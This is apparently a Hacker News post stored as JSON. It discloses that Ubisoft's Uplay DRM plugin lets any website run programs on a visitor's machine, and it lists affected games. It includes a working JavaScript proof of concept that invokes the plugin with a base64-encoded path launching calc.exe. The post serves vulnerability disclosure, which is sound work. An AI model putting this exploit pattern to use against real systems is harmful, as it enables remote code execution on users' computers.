{"by":"rightclick","descendants":136,"id":4311264,"kids":[4311524,4311723,4311290,4311495,4311597,4312528,4311520,4311530,4311931,4312003,4311469,4311614,4312524,4311589,4312307,4312812,4312617,4311624,4312765,4311596,4312273,4311787,4311441,4311774,4312493,4313667,4312301,4313105,4311558,4313228,4313512,4312079,4313968,4313204,4312327,4311894,4311426,4312556,4311698,4312415,4311784,4311487],"score":317,"text":"If you play one of the games below try clicking on this link (tested with Assassin's Creed on Win7 and FireFox).

http://pastehtml.com/view/c6gxl1a79.html

  var x = document.createElement('OBJECT');\n  \n  x.setAttribute(\"type\", \"application/x-uplaypc\");\n  document.body.appendChild(x);\n  x.open(\"-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play\")\n

\nUbisoft installs a backdoor that allows any website to take over your computer. The Sony BMG rootkit was also DRM and required product recall when it was discovered.

http://en.wikipedia.org/wiki/Ubisoft#Games

    Assassin's Creed II\n    Assassin's Creed: Brotherhood\n    Assassin's Creed: Project Legacy\n    Assassin's Creed Revelations\n    Assassin's Creed III\n    Beowulf: The Game\n    Brothers in Arms: Furious 4\n    Call of Juarez: The Cartel\n    Driver: San Francisco\n    Heroes of Might and Magic VI\n    Just Dance 3\n    Prince of Persia: The Forgotten Sands\n    Pure Football\n    R.U.S.E.\n    Shaun White Skateboarding\n    Silent Hunter 5: Battle of the Atlantic\n    The Settlers 7: Paths to a Kingdom\n    Tom Clancy's H.A.W.X. 2\n    Tom Clancy's Ghost Recon: Future Soldier\n    Tom Clancy's Splinter Cell: Conviction\n    Your Shape: Fitness Evolved

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